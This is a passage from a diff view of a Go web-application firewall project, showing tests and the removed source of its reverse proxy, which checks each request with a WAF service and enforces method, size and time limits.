servewaf := startServeWAF(t, allow)
received := make(chan []byte, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
whole, _ := io.ReadAll(r.Body)
received <- whole
greet(w, r)
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, nil)
req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
if !announced {
// Go's client sends a body of unknown length in chunks.
req.ContentLength = -1
}
wantGreeting(t, visit(t, req))
asked := servewaf.question(t)
want := body[:min(size, questionBodyMaxBytes)]
wantQuestionBody(t, asked, want, size, announced)
if !bytes.Equal(<-received, body) {
t.Error("the app did not get the whole body")
}
if report := servewaf.report(t); report.RequestBytes != int64(size) {
t.Errorf("report %+v, of %d bytes", report, size)
}
})
}
}
}
// wantQuestionBody checks the body a question carries, want, and how it gives
// the length of the visitor's body, of size bytes.
func wantQuestionBody(
t *testing.T, asked question, want []byte, size int, announced bool,
) {
t.Helper()
if !bytes.Equal(asked.body, want) {
t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
len(want))
}
values := asked.header.Values(proxy.ContentLengthHeader)
if announced {
if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
asked.contentLength != int64(len(want)) {
t.Errorf("announced %v and length %d, want %d and %d", values,
asked.contentLength, size, len(want))
}
return
}
if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
t.Errorf("announced %v and encoded %v, want none and chunked", values,
asked.transferEncoding)
}
}
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, nil)
// Far more announced than sent. Go's server does not wait for that much, so
// the answer comes at once.
conn := dial(t, addr)
send(t, conn, post+announcedLength(100*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes))
if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want servewaf's 403", status)
}
if report := servewaf.report(t); report.RequestBytes != questionBodyMaxBytes {
t.Errorf("report %+v, want the first part's bytes", report)
}
}
func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, framing, body string
encoding []string
}{
{
chunked, "Transfer-Encoding: chunked\r\n\r\n4\r\nbody\r\n0\r\n\r\n", "body",
[]string{chunked},
},
{
"chunked and empty", "Transfer-Encoding: chunked\r\n\r\n0\r\n\r\n", "",
[]string{chunked},
},
{"with its length", announcedLength(4) + "body", "body", nil},
} {
for _, method := range []string{
http.MethodGet, http.MethodDelete, http.MethodPost,
} {
t.Run(method+" "+tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, deny)
addr, _ := startRProxy(t, servewaf.URL, nowhere, nil)
conn := dial(t, addr)
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want servewaf's 403", status)
}
asked := servewaf.question(t)
if string(asked.body) != tc.body ||
!slices.Equal(asked.transferEncoding, tc.encoding) {
t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
asked.body, asked.transferEncoding, tc.body, tc.encoding)
}
})
}
}
}
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
t.Parallel()
for _, method := range []string{http.MethodTrace, "PROPFIND", "LOCK", "BREW"} {
t.Run(method, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, servewaf.URL, app.URL, nil)
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY" {
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
}
line := out.requestLine(t)
if line["status"] != float64(http.StatusMethodNotAllowed) ||
line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 405 and no disposition", line)
}
if len(servewaf.questions) != 0 {
t.Error("servewaf was asked")
}
servewaf.wantNoReport(t)
})
}
}
func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) {
t.Parallel()
for _, method := range []string{
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
} {
t.Run(method, func(t *testing.T) {
t.Parallel()
reached := make(chan string, 1)
servewaf := startServeWAF(t, allow)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
reached <- r.Method
})
addr, _ := startRProxy(t, servewaf.URL, app.URL, nil)
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusOK {
t.Errorf("answered %+v, want the app's 200", got)
}
if asked := servewaf.question(t); asked.method != method {
t.Errorf("servewaf was asked about %s", asked.method)
}
if atApp := <-reached; atApp != method {
t.Errorf("the app was asked %s", atApp)
}
})
}
}
func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
t.Parallel()
const host = "Host: site.example\r\n\r\n"
for name, request := range map[string]string{
"a target of a scheme": "GET x:admin HTTP/1.1\r\n" + host,
"a target of a URL": "GET http://site.example/ HTTP/1.1\r\n" + host,
"a host Go will not send": "GET http://a<b/ HTTP/1.1\r\n" + host,
"a target of a host": "GET site.example:443 HTTP/1.1\r\n" + host,
"a target of *": "GET * HTTP/1.1\r\n" + host,
"a target of //": "GET //x/y HTTP/1.1\r\n" + host,
"a target of // escaped": "GET //x%2Fadmin| HTTP/1.1\r\n" + host,
"an empty Host": "GET / HTTP/1.1\r\nHost:\r\n\r\n",
"HTTP/1.0 with no Host": "GET / HTTP/1.0\r\n\r\n",
"a Host with a zone": "GET / HTTP/1.1\r\nHost: [fe80::1%25eth0]:80\r\n\r\n",
"two User-Agents": "GET / HTTP/1.1\r\nUser-Agent: a\r\nUser-Agent: b\r\n" +
host,
} {
t.Run(name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, servewaf.URL, app.URL, nil)
conn := dial(t, addr)
send(t, conn, request)
if status := readStatus(t, conn); status != http.StatusBadRequest {
t.Errorf("status %d, want 400", status)
}
line := out.requestLine(t)
if line["status"] != float64(http.StatusBadRequest) ||
line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 400 and no disposition", line)
}
if len(servewaf.questions) != 0 {
t.Error("servewaf was asked")
}
servewaf.wantNoReport(t)
})
}
}
func TestAHostWithAPercentSignButNoBracketGoesToServeWAF(t *testing.T) {
t.Parallel()
const host = "a%b"
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: "+host+"\r\n\r\n")
if status := readStatus(t, conn); status != http.StatusOK {
t.Errorf("status %d, want the app's 200", status)
}
if asked := servewaf.question(t); asked.host != host {
t.Errorf("asked about the host %q, want %q", asked.host, host)
}
}
func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
t.Parallel()
const want = "http"
servewaf := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, servewaf.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32",
})
wantGreeting(t, get(t, addr, "/"))
asked := servewaf.question(t)
if got := asked.header.Get(forwardedProtoHeader); got != want {
t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
}
}
func TestAQuestionNamesNoZone(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, remoteAddr, forwardedFor, client, peer string
}{
{"from a link-local peer", "[fe80::1%eth0]:1234", "", "fe80::1", "fe80::1"},
{
"from X-Forwarded-For through a trusted peer", localhost + ":1234",
"2001:db8::1%eth0", "2001:db8::1", localhost,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
servewaf := startServeWAF(t, deny)
app := startApp(t, greet)
_, out, server := startServer(t, servewaf.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32",
})
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req.RemoteAddr = tc.remoteAddr
req.Header.Set(forwardedForHeader, tc.forwardedFor)
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
asked := servewaf.question(t)
if asked.header.Get(proxy.ClientHeader) != tc.client ||
asked.header.Get(proxy.PeerHeader) != tc.peer {
t.Errorf("the question's headers are %v", asked.header)
}
if line := out.requestLine(t); line["client_ip"] != tc.client {
t.Errorf("line %v, want client_ip %s", line, tc.client)
}
})
}
}
internal/rproxy/request.go
-593
View File
@@ -1,593 +0,0 @@
package rproxy
import (
"context"
"crypto/rand"
"errors"
"io"
"net/http"
"net/http/httptrace"
"net/http/httputil"
"net/netip"
"net/url"
"os"
"strconv"
"sync"
"sync/atomic"
"time"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
// soon as it arrives.
const flushAfterEachWrite time.Duration = -1
// reportStatusMax is the highest status servewaf takes in a report. An app can
// send a higher one, up to 999, and the visitor gets that as it is.
const reportStatusMax = 599
// plainText is the Content-Type of the answers rproxy gives itself.
const plainText = "text/plain; charset=utf-8"
// request is one request on its way through rproxy, from the moment its headers
// have been read to its log line and report.
type request struct {
h *handler
in *http.Request
// rc sets the deadlines of the connection to the visitor.
rc *http.ResponseController
out *responseWriter
body *requestBody // nil for a request without a body
// id is the fresh id made for the request when it arrived.
id string
client netip.Addr
peer netip.Addr
peerTrusted bool
start time.Time
// disposition is what is done with the request: servewaf's valid disposition,
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
disposition string
// answered is true when servewaf gave disposition, which makes a report due,
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
answered bool
byDefault bool
// asn and country are servewaf's X-Client-ASN and X-Client-Country, for the
// app.
asn, country string
// upstreamStart is when the request was handed to the app.
upstreamStart time.Time
// cancel ends the request to the app.
cancel context.CancelFunc
// refused is the status of the first refusal, from whichever goroutine meets
// it: what the visitor is answered if the response has not started yet.
refused atomic.Int64
// upgraded is the connection to the app once the app has switched protocols,
// as for a WebSocket, and nil otherwise.
upgraded *upgradedConn
// mu guards what follows. The time limits run on goroutines of their own,
// and the transport starts and stops them, and notes the times below, from
// its own; once timersStopped is set, neither time limit acts any more.
mu sync.Mutex
timersStopped bool
requestTimer *time.Timer
responseTimer *time.Timer
// requestEnd is when the app had been sent the whole request, or the answer
// started, if that was sooner.
requestEnd time.Time
// answerStarted is when the first byte of the app's answer arrived.
answerStarted time.Time
}
// newRequest starts handling r: it notes the time, works out the visitor from
// the TCP peer and X-Forwarded-For, and makes the request's id.
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
peer := peerAddress(r)
trusted := h.config.TrustedProxies
rq := &request{
h: h,
in: r,
rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w},
id: rand.Text(),
client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
peer: peer,
peerTrusted: isInside(peer, trusted),
start: time.Now(),
}
if r.Body != http.NoBody {
rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
}
return rq
}
// answerHealth answers the health check.
func (rq *request) answerHealth() {
rq.prepareOwnAnswer(rq.requestDeadline())
rq.out.Header().Set("Content-Type", plainText)
rq.send(http.StatusOK, []byte("ok\n"))
}
// readFirstPartOfBody reads up to the first 64 KiB of the body into memory,
// within SWRP_MAX_REQUEST_TIME_MS, and reports whether the request goes on. A
// visitor too slow to send it is answered 408. For a malformed chunk, or a
// visitor that went away or stopped its sending side, the connection is closed
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
// read, so that servewaf is asked first; passToApp then refuses it.
func (rq *request) readFirstPartOfBody() bool {
if rq.body == nil {
return true
}
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
held, err := io.ReadAll(io.LimitReader(rq.body, proxy.QuestionBodyMaxBytes))
// From here on, the request timer ends a read of the rest of the body, so that
// the answer can name the side rproxy was waiting on.
_ = rq.rc.SetReadDeadline(time.Time{})
rq.body.held = held
switch {
case err == nil || rq.refused.Load() != 0:
return true
case errors.Is(err, os.ErrDeadlineExceeded):
rq.answer(http.StatusRequestTimeout)
return false
default:
// This panic has Go's server close the connection without an answer, and
// log nothing; the deferred finish still runs.
panic(http.ErrAbortHandler)
}
}
// setPathAsSent has out, the URL of a request made from in, send the path as the
// visitor sent it. Go sends the path URL.EscapedPath gives, which, for a path
// holding a character Go escapes, such as |, is the whole path decoded and
// escaped again, %2F turned into /. Opaque is sent as it is.
func setPathAsSent(out *url.URL, in *http.Request) {
out.Opaque = rules.Path(in)
}
// forward passes the request to the app, the part of the body held and then the
// rest, and the app's answer back. ctx is the request's own context.
func (rq *request) forward(ctx context.Context) {
ctx, cancel := context.WithCancel(ctx)
defer cancel()
rq.cancel = cancel
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
WroteRequest: rq.wroteRequest,
GotFirstResponseByte: rq.gotFirstResponseByte,
})
out := rq.in.WithContext(ctx)
if rq.body != nil {
out.Body = rq.body
}
reverseProxy := &httputil.ReverseProxy{
Rewrite: rq.rewrite,
Transport: rq.h.transport,
FlushInterval: flushAfterEachWrite,
ErrorLog: rq.h.errorLog,
ModifyResponse: rq.modifyResponse,
ErrorHandler: rq.answerError,
}
rq.startRequestTimer()
rq.upstreamStart = time.Now()
reverseProxy.ServeHTTP(rq.out, out)
}
// rewrite makes the request the app receives: the visitor's request, unchanged,
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
// servewaf's.
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
upstream := rq.h.config.UpstreamURL
pr.Out.URL.Scheme = upstream.Scheme
pr.Out.URL.Host = upstream.Host
// ReverseProxy drops query parameters it cannot parse; the app gets the
// query as the visitor sent it.
pr.Out.URL.RawQuery = pr.In.URL.RawQuery
setPathAsSent(pr.Out.URL, pr.In)
setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
pr.Out.Header.Set(requestIDHeader, rq.id)
pr.Out.Header.Del(asnHeader)
pr.Out.Header.Del(countryHeader)
if rq.asn != "" {
pr.Out.Header.Set(asnHeader, rq.asn)
}
if rq.country != "" {
pr.Out.Header.Set(countryHeader, rq.country)
}
}
// modifyResponse looks at the app's answer before ReverseProxy passes it on.
func (rq *request) modifyResponse(res *http.Response) error {
if res.StatusCode == http.StatusSwitchingProtocols {
// An upgraded connection, such as a WebSocket, is not cut by the time
// limits. ReverseProxy writes this answer straight to the connection it
// takes over, not through rq.out, and then copies what passes each way
// through res.Body, the connection to the app. It may still refuse the
// switch, as when the app's Upgrade is not the visitor's, so the status
// is noted only once it has taken over the connection, by rq.out's
// Hijack.
rq.stopTimers()
conn, ok := res.Body.(io.ReadWriteCloser)
if ok {
rq.upgraded = &upgradedConn{ReadWriteCloser: conn}
res.Body = rq.upgraded
}
return nil
}
maxBytes := rq.h.config.MaxResponseSize
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
rq.refuse(http.StatusBadGateway)
return errResponseTooLarge
}
// Go's server adds a Content-Type it guesses from the body to a response
// whose headers have no Content-Type key. The key with no value sends none,
// as the app sent none.
if res.Header.Get("Content-Type") == "" {
rq.out.Header()["Content-Type"] = nil
}
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
rq.setResponseDeadline()
return nil
}
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
// the app, or the app's answer cannot be passed on.
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on, and
// ReverseProxy leaves the app's connection open when it refuses it.
_ = rq.upgraded.Close()
}
status := int(rq.refused.Load())
if status == 0 {
if rq.in.Context().Err() != nil {
// The visitor went away or stopped its sending side. This panic has Go's
// server close the connection without an answer, and log nothing; the
// deferred finish still runs.
panic(http.ErrAbortHandler)
}
rq.h.processLog.Warn("request to the app failed", "error", err.Error())
status = http.StatusBadGateway
}
rq.answer(status)
}
// answer sends rproxy's own answer, unless the response has already started.
func (rq *request) answer(status int) {
rq.refused.CompareAndSwap(0, int64(status))
if rq.out.status != 0 {
return // too late to answer: the connection can only be cut
}
// A visitor found too slow is read no more; any other may go on sending until
// its time is up, so that Go's server can read the rest of the body and end
// the request cleanly.
deadline := rq.requestDeadline()
if status == http.StatusRequestTimeout {
deadline = time.Now()
}
rq.prepareOwnAnswer(deadline)
header := rq.out.Header()
header.Set("Content-Type", plainText)
header.Set("X-Content-Type-Options", "nosniff")
rq.send(status, []byte(http.StatusText(status)+"\n"))
}
// send gives the visitor an answer rproxy holds whole: status, the headers set so
// far and body. Go's server would otherwise send so short an answer only once the
// handler has returned, after finish has written the log line and sent the report.
// Without Content-Length, the flush would send the body in chunks, the last of
// which would still wait for the handler. A HEAD's answer has no body, so any
// Content-Length it has stays as servewaf gave it.
func (rq *request) send(status int, body []byte) {
if rq.in.Method != http.MethodHead {
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
}
rq.out.WriteHeader(status)
_, _ = rq.out.Write(body)
_ = rq.rc.Flush()
}
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
// reading of a body that has not arrived whole ends at deadline, and the answer
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
// used that time up first.
func (rq *request) prepareOwnAnswer(deadline time.Time) {
rq.stopReadingBody(deadline)
rq.endRequest()
limit := rq.h.config.MaxResponseTime
if limit > 0 {
_ = rq.rc.SetWriteDeadline(time.Now().Add(limit))
}
}
// refuse records status, unless an earlier refusal was, and ends the request to
// the app, if one was made.
func (rq *request) refuse(status int) {
rq.refused.CompareAndSwap(0, int64(status))
if rq.cancel != nil {
rq.cancel()
}
}
// finish ends the request's time limits, writes its log line and, if servewaf
// answered the question, sends the report. ctx is the request's own context.
func (rq *request) finish(ctx context.Context) {
rq.stopTimers()
if rq.refused.Load() == 0 {
rq.stopReadingBody(rq.requestDeadline())
}
requestEnd := rq.endRequest()
end := time.Now()
requestBytes, responseBytes := rq.bytesEachWay()
err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
Time: requestlog.FormatTime(rq.start),
RequestID: rq.id,
ClientIP: rq.client.String(),
Host: rq.in.Host,
Method: rq.in.Method,
Path: rules.Path(rq.in),
Query: rq.in.URL.RawQuery,
Status: rq.out.status,
RequestBytes: requestBytes,
ResponseBytes: responseBytes,
DurationRequest: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
DurationResponse: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
})
if err != nil {
rq.h.processLog.Error("writing the request log failed", "error", err.Error())
}
if !rq.answered {
return
}
report := &proxy.Report{
RequestID: rq.id,
Status: min(rq.out.status, reportStatusMax),
RequestBytes: requestBytes,
ResponseBytes: responseBytes,
DurationTotal: requestlog.Milliseconds(end.Sub(rq.start)),
}
if !rq.upstreamStart.IsZero() {
report.DurationUpstreamTotal = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
}
rq.h.sendReport(ctx, report)
}
// bytesEachWay returns the body bytes of the request and of the answer. For an
// upgraded connection, such as a WebSocket, which has closed by then, what it
// carried from the visitor counts with the request's and what it carried from the
// app with the answer's.
func (rq *request) bytesEachWay() (int64, int64) {
var requestBytes int64
if rq.body != nil {
requestBytes = rq.body.bytes.Load()
}
responseBytes := rq.out.bytes
if rq.upgraded != nil {
requestBytes += rq.upgraded.toApp.Load()
responseBytes += rq.upgraded.fromApp.Load()
}
return requestBytes, responseBytes
}
// requestDeadline is when the visitor must have sent its whole request, or zero
// when SWRP_MAX_REQUEST_TIME_MS is off.
func (rq *request) requestDeadline() time.Time {
limit := rq.h.config.MaxRequestTime
if limit == 0 {
return time.Time{}
}
return rq.start.Add(limit)
}
// stopReadingBody ends, at deadline, the reading of a visitor's body that has not
// arrived whole: Go's server then reads no more of it, and closes the connection
// after the answer.
func (rq *request) stopReadingBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
}
_ = rq.rc.SetReadDeadline(deadline)
}
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
// request's headers being read until the app has been sent the whole request.
func (rq *request) startRequestTimer() {
deadline := rq.requestDeadline()
if deadline.IsZero() {
return
}
rq.mu.Lock()
defer rq.mu.Unlock()
rq.requestTimer = time.AfterFunc(time.Until(deadline), rq.requestTimedOut)
}
// requestTimedOut is called when SWRP_MAX_REQUEST_TIME_MS runs out while the
// request is still on its way to the app. The answer names the side rproxy was
// waiting on at that moment: 408 when it was waiting for the visitor to send more
// of its body, 504 when it was waiting for the app to be reached or to take what
// it had.
func (rq *request) requestTimedOut() {
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.timersStopped {
return
}
if rq.body == nil || !rq.body.waiting.Load() {
// Once the app has answered, the transport, ReverseProxy and Go's server
// each close the visitor's body, and closing it reads what is left of a
// body under 256 KiB without requestBody.Read, so waiting is false while
// that read waits for the visitor. That read ends now, before refuse:
// should rproxy still answer itself, answer then sets the deadline it
// gives its own answers.
if !rq.answerStarted.IsZero() {
rq.stopReadingBody(time.Now())
}
rq.refuse(http.StatusGatewayTimeout)
return
}
rq.refuse(http.StatusRequestTimeout)
// The transport gives up on the app only once its Read of the visitor's body
// returns, so that Read is ended now. The lock keeps this from reaching the
// connection after the request is handled.
_ = rq.rc.SetReadDeadline(time.Now())
}
// gotFirstResponseByte is called once the first byte of the app's answer has
// arrived.
func (rq *request) gotFirstResponseByte() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.answerStarted = time.Now()
}
// wroteRequest is called once the app has been sent the whole request:
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
if info.Err != nil {
return // the transport gives up, or tries again
}
requestEnd := rq.endRequest()
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.timersStopped {
return
}
stopTimer(rq.requestTimer)
limit := rq.h.config.MaxResponseTime
if limit > 0 {
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
rq.responseTimedOut)
}
}
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
// app has sent its whole answer.
func (rq *request) responseTimedOut() {
rq.mu.Lock()
defer rq.mu.Unlock()
if !rq.timersStopped {
rq.refuse(http.StatusGatewayTimeout)
}
}
// responseReceived is called once the app has sent its whole answer. An app may
// answer before the visitor has sent its whole body, as with a 404 it sends
// without reading it. The time limits then run on: until the transport's read of
// the body returns, Go's server cannot send the answer, and
// SWRP_MAX_REQUEST_TIME_MS is what ends that read for a visitor that stops
// sending.
func (rq *request) responseReceived() {
if rq.body != nil && !rq.body.received.Load() {
return
}
rq.stopTimers()
}
// setResponseDeadline sets SWRP_MAX_RESPONSE_TIME_MS on the connection to the
// visitor: the app's answer must reach the visitor within it of the end of the
// request.
func (rq *request) setResponseDeadline() {
requestEnd := rq.endRequest()
limit := rq.h.config.MaxResponseTime
if limit > 0 {
_ = rq.rc.SetWriteDeadline(requestEnd.Add(limit))
}
}
// endRequest notes now as the end of the request, unless an end is noted, and
// returns the end noted.
func (rq *request) endRequest() time.Time {
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.requestEnd.IsZero() {
rq.requestEnd = time.Now()
}
return rq.requestEnd
}
// stopTimers stops the request's time limits and keeps any from starting later:
// the app's answer is complete, the connection upgraded, or the request handled.
func (rq *request) stopTimers() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.timersStopped = true
stopTimer(rq.requestTimer)
stopTimer(rq.responseTimer)
}
// stopTimer stops t, which is nil when its time limit is off.
func stopTimer(t *time.Timer) {
if t != nil {
t.Stop()
}
}
internal/rproxy/rproxy.go
-228
View File
@@ -1,228 +0,0 @@
// Package rproxy is the reverse proxy in front of one app that asks servewaf
// about each request. It passes a request servewaf allows to the app and the
// app's answer back, within the size and time limits. Any other answer from
// servewaf goes to the visitor as servewaf gave it. SWRP_DEFAULT_DISPOSITION
// decides only when servewaf cannot be connected to, does not answer at all, or
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
// method it does not pass on, or one it cannot put to servewaf as the visitor
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
// SPEC.md says what it does.
package rproxy
import (
"context"
"io"
"log"
"log/slog"
"net/http"
"net/url"
"slices"
"strings"
"sync"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/proxy"
)
// How rproxy keeps connections to the app and to servewaf open between
// requests.
const (
idleConns = 100
idleConnTimeout = 90 * time.Second
)
// The limits on a connection from a visitor that have no setting.
const (
// requestHeaderMaxBytes is the largest request line and headers a visitor
// may send.
requestHeaderMaxBytes = 32 << 10
// goServerExtraHeaderBytes is how far past MaxHeaderBytes Go's server reads
// before it refuses.
goServerExtraHeaderBytes = 4 << 10
// idleTimeout is how long a kept-open connection may wait for its next
// request.
idleTimeout = 120 * time.Second
)
// adminPrefix starts the path of every request for smallwebwaf itself, which
// never reaches the app.
const adminPrefix = "/_smallwebwaf/"
// allowedMethods lists the methods rproxy passes on, as an Allow header gives
// them. It answers any other method 405 itself.
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY"
// Params are what New needs.
type Params struct {
Config *config.RProxy
// RequestLog receives one short JSON line per request.
RequestLog io.Writer
// ProcessLog receives the process's own messages.
ProcessLog *slog.Logger
}
// Server is the server `smallwebwaf rproxy` runs.
type Server struct {
*http.Server
h *handler
}
// New returns the server `smallwebwaf rproxy` runs. Go's server itself refuses
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
// the headers arrive. The handler applies the time and size limits from then
// on.
func New(params Params) *Server {
backend := params.Config.WAFBackend
errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn)
h := &handler{
config: params.Config,
requestLog: params.RequestLog,
processLog: params.ProcessLog,
errorLog: errorLog,
transport: newTransport(),
serveWAFTransport: newServeWAFTransport(),
reportURL: (&url.URL{
Scheme: backend.Scheme, Host: backend.Host, Path: proxy.ReportPath,
}).String(),
}
return &Server{
Server: &http.Server{
Addr: params.Config.ListenAddr,
Handler: h,
ErrorLog: errorLog,
ReadHeaderTimeout: params.Config.MaxRequestTime,
IdleTimeout: idleTimeout,
MaxHeaderBytes: requestHeaderMaxBytes - goServerExtraHeaderBytes,
},
h: h,
}
}
// WaitForReports returns once the reports being sent have gone or failed,
// which SWRP_TIMEOUT_MS bounds. Any report after this call is dropped: that of
// a WebSocket that closes while rproxy stops, for one.
func (s *Server) WaitForReports() {
s.h.reportsMu.Lock()
s.h.reportsStopped = true
s.h.reportsMu.Unlock()
s.h.reports.Wait()
}
// handler is the proxy. It holds what every request shares; what belongs to
// one request is in a request.
type handler struct {
config *config.RProxy
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
// transport carries requests to the app, and serveWAFTransport questions and
// reports to servewaf.
transport http.RoundTripper
serveWAFTransport http.RoundTripper
// reportURL is where the reports go.
reportURL string
// reports waits for the reports being sent. reportsMu guards starting one
// against reportsStopped, which is set once nothing is to wait for another.
reports sync.WaitGroup
reportsMu sync.Mutex
reportsStopped bool
}
// newTransport returns what carries requests to the app. It never goes through
// a proxy named in the environment, and leaves answers compressed or not as they
// were sent.
func newTransport() *http.Transport {
return &http.Transport{
MaxIdleConns: idleConns,
MaxIdleConnsPerHost: idleConns,
IdleConnTimeout: idleConnTimeout,
DisableCompression: true,
}
}
// newServeWAFTransport returns what carries questions and reports to servewaf.
// It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send a visitor's Upgrade
// header, or a Connection header other than close or keep-alive, and that would
// read as servewaf giving no answer.
func newServeWAFTransport() *http.Transport {
transport := newTransport()
transport.Protocols = new(http.Protocols)
transport.Protocols.SetHTTP1(true)
return transport
}
// ServeHTTP handles one request: it answers the health check itself, refuses a
// request with a method it does not pass on or one it cannot put to servewaf as
// the visitor sent it, and for any other request reads the first part of the
// body, asks servewaf, and does what the answer says. Once the answer has ended,
// it writes the request's log line and sends its report.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq := h.newRequest(w, r)
defer rq.finish(r.Context())
if r.Method == http.MethodGet && r.URL.Path == proxy.HealthPath {
rq.answerHealth()
return
}
if !slices.Contains(strings.Split(allowedMethods, ", "), r.Method) {
rq.out.Header().Set("Allow", allowedMethods)
rq.answer(http.StatusMethodNotAllowed)
return
}
if !canBeAsked(r) {
rq.answer(http.StatusBadRequest)
return
}
if !rq.readFirstPartOfBody() {
return
}
answer, err := rq.ask(r.Context())
if err != nil {
rq.handleNoUsableAnswer(r.Context(), err)
return
}
rq.noteAnswer(answer)
switch rq.disposition {
case proxy.DispositionAllow:
rq.passToApp(r.Context())
case proxy.DispositionClose:
// This panic has Go's server close the connection without an answer,
// and log nothing; the deferred finish still runs.
panic(http.ErrAbortHandler)
default: // a deny, an error, or an answer without a valid disposition
rq.answerWith(answer)
}
}
// passToApp passes the request on to the app, unless a limit or its path keeps
// it from the app. servewaf answers a path under adminPrefix itself, so such a
// request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
// request's own context.
